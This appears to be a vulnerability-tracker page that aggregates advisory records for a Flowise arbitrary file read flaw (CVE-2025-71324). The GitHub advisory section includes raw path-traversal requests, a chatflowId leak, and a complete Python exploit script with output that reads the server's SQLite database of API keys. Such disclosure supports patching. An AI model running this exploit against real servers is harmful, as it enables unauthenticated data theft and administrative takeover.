Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 275/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 09:28 UTC Customize Public modeDiscuss ChangeIntel on Discord

Flowise - Arbitrary File Read via chatId Parameter

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2025-71324

Published

Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.

Source published
25 Jun 2026 21:41:02 UTC
Source modified
30 Jun 2026 03:33:41 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

euvd · EUVD-2025-210336

Published

Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jun 25, 2026, 9:41:02 PM

dateUpdated: Jun 30, 2026, 3:33:41 AM

1 related source bulletins · separate from aliases

WID-SEC-W-2025-2048: Flowise: Mehrere Schwachstellen

CVE-2025-58434 · CVE-2025-71324 · CVE-2025-71336

Source published
Jun 25, 2026, 9:41:02 PM (timezone not stated)
Source modified
Jun 30, 2026, 3:33:41 AM (timezone not stated)
Observed here
9 Nov 2026 04:12:44 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2025-71324

Published

Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-73

Original publisher date fields

published: 2026-06-25T22:16:58.600

lastModified: 2026-10-12T21:10:00.227

1 source CPE criteria · context only
  • cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
25 Jun 2026 22:16:58 UTC
Source modified
12 Oct 2026 21:10:00 UTC
Observed here
25 Oct 2026 04:17:18 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

osv · GHSA-99pg-hqvx-r4gf

Published

### Summary An arbitrary file read vulnerability in the `chatId` parameter supplied to both the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content. ### Details Both the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints accept the `chatId` parameter and pass this to a subsequent call to streamStorageFile(). ``` const chatflowId = req.query.chatflowId as string const chatId = req.query.chatId as string const fileName = req.query.fileName as string ... const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId) ``` While streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId. ``` // Validate chatflowId if (!chatflowId || !isValidUUID(chatflowId)) { throw new Error('Invalid chatflowId format - must be a valid UUID') } // Check for path traversal attempts if (isPathTraversal(chatflowId)) { throw new Error('Invalid path characters detected in chatflowId') } ... const sanitizedFilename = sanitize(fileName) ... const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename) ``` There is validation that the resulting filePath is restricted to the `/root/.flowise/storage` directory. ``` if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`) ``` However, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted. ``` if (fs.existsSync(filePath)) { return fs.createReadStream(filePath) } else { // Fallback: Check if file exists without orgId const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename) if (fs.existsSync(fallbackPath)) { // Create directory if it doesn't exist const dir = path.dirname(filePath) if (!fs.existsSync(dir)) { fs.mkdirSync(dir, { recursive: true }) } // Copy file to correct location with orgId fs.copyFileSync(fallbackPath, filePath) // Delete the old file fs.unlinkSync(fallbackPath) // Clean up empty directories recursively _cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId)) return fs.createReadStream(filePath) ``` As this fallback path is read after the `/root/.flowise/storage` check, this allows an additional level of traversal up to `/root/.flowise/`. As a result, this allows reading of `/root/.flowise/database.sqlite`, which contains all database content in the default Flowise configuration. REQUEST ``` GET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1 Host: 127.0.0.1:3000 ``` RESPONSE ``` HTTP/1.1 200 OK Vary: Origin Access-Control-Allow-Credentials: true Content-Disposition: attachment; filename="database.sqlite" Date: Tue, 22 Jul 2025 06:43:51 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 385024 SQLite format 3���@ ���6���^���A������Õ�������������������������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ �Ïl– Í‚S=*''���������������������������������������������������������������������������������������������������������������������������������������������;,O)�indexsqlite_autoindex_docume ... ``` Similarly, for `/api/v1/openai-assistants-file/download`: REQUEST ``` POST /api/v1/openai-assistants-file/download HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Content-Length: 100 {"chatflowId":"c5c63474-e757-4fca-a504-d54e84c309bb","chatId":"/../..","fileName":"database.sqlite"} ``` RESPONSE ``` HTTP/1.1 200 OK Vary: Origin Access-Control-Allow-Credentials: true Content-Disposition: attachment; filename="database.sqlite" Date: Tue, 22 Jul 2025 08:55:25 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 385024 SQLite format 3���@ ���6���^���A������Õ�������������������������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ ... ``` This includes all API keys used by the application (apiKey table), which can be used to gain administrative access. As the fallback logic attempts to move the file to the initially checked directory, this results in the server permanently being unable to make new read or write operations until the file is moved and the server is restarted. Interaction with these endpoints requires knowledge of a valid `chatflowId`. As a UUID, this is inherently unguessable. However, the `/api/v1/vector/upsert/` endpoint can be used without a chatflowId, defaulting to the first ID available. This endpoint returns a verbose error when receiving a malformed filename, revealing the full internal file path and the associated `chatflowId`. REQUEST ``` POST /api/v1/vector/upsert/ HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 172 Connection: keep-alive ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="files"; filename="?" Content-Type: text/plain ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` RESPONSE ``` HTTP/1.1 500 Internal Server Error Vary: Origin Access-Control-Allow-Credentials: true Content-Type: application/json; charset=utf-8 Content-Length: 240 ETag: W/"f0-khSyqlT3NYLMJGjdchTl6Iwqe4U" Date: Tue, 22 Jul 2025 08:14:20 GMT Connection: keep-alive Keep-Alive: timeout=5 {"statusCode":500,"success":false,"message":"Error: vectorsService.upsertVector - EISDIR: illegal operation on a directory, open '/root/.flowise/storage/07b5d2bd-9b5c-4de3-b234-4fe4357051c9/188903b1-d06d-4f93-9415-400015b87146'","stack":{}} ``` In this case the UUID is revealed as `188903b1-d06d-4f93-9415-400015b87146`, which can then be used to exploit the file read vulnerability. ### PoC Run Flowise: ``` docker run --rm -p 3000:3000 flowiseai/flowise ``` Complete install & create a Chatflow: <img width="575" height="299" alt="image" src="https://github.com/user-attachments/assets/1a34e809-b9b3-48a1-93b4-8dafccf87e3b" /> Save this script to `read.py`: ``` import argparse import re import requests def read_file(url, file_path, proxy): base_url = url proxies = {'http': proxy, 'https': proxy} if proxy else None print(f">> starting exploit against {base_url}") if proxy: print(f">> using proxy: {proxy}") try: print("[*] step 1: leaking chatflowid") initial_headers = {} files = {'files': ('?', 'asdf', 'text/plain')} response = requests.post(f"{base_url}/api/v1/vector/upsert/", files=files, headers=initial_headers, timeout=10, proxies=proxies) chatflow_id_matches = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', response.json().get("message", "")) if len(chatflow_id_matches) < 2: print("[-] failed to leak chatflowid.") return chatflow_id = chatflow_id_matches[1] print(f"[+] got chatflowid: {chatflow_id}") print(f"[*] step 2: reading file: {file_path}") internal_headers = {'x-request-from': 'internal'} params = {'chatflowId': chatflow_id, 'chatId': '/../../', 'fileName': file_path} response = requests.get(f"{base_url}/api/v1/get-upload-file", params=params, headers=internal_headers, timeout=10, proxies=proxies) if response.status_code != 200: print(f"[-] failed to read file (status: {response.status_code}).") print(response.text) return file_content = response.text print(f"[+] successfully read file ({len(response.content)} bytes).") print("\n--- file content ---") print(file_content) print("--------------------\n") except requests.exceptions.RequestException as e: print(f"\n[-] an unexpected error occurred: {e}") except Exception as e: print(f"\n[-] an unexpected error occurred: {e}") return if __name__ == "__main__": parser = argparse.ArgumentParser(description="Read arbitrary files") parser.add_argument("-u", "--url", type=str, required=True, help="target base url (e.g., http://127.0.0.1:3000)") parser.add_argument("-f", "--file", type=str, required=True, help="path of the file to read on the server (e.g., database.sqlite)") parser.add_argument("-x", "--proxy", type=str, help="proxy to use (e.g., http://127.0.0.1:8080)") args = parser.parse_args() read_file(args.url, args.file, args.proxy) ``` Run the script against `http://127.0.0.1:3000`: ``` python3 read.py -u http://127.0.0.1:3000 -f database.sqlite >> starting exploit against http://127.0.0.1:3000 [*] step 1: leaking chatflowid [+] got chatflowid: c5c63474-e757-4fca-a504-d54e84c309bb [*] step 2: reading file: database.sqlite [+] successfully read file (385024 bytes). --- file content --- ÕÇêS=*'';,O)indexsqlite_autoindex... ``` ### Impact This allows any unauthenticated user to extract all database content from a default installation of Flowise. This includes API keys, which can be used to gain administrative access.

Source published
15 Sep 2025 20:00:39 UTC
Source modified
21 Jul 2026 20:00:29 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Publisher rating · CRITICAL

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 10 Nov 09:28 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current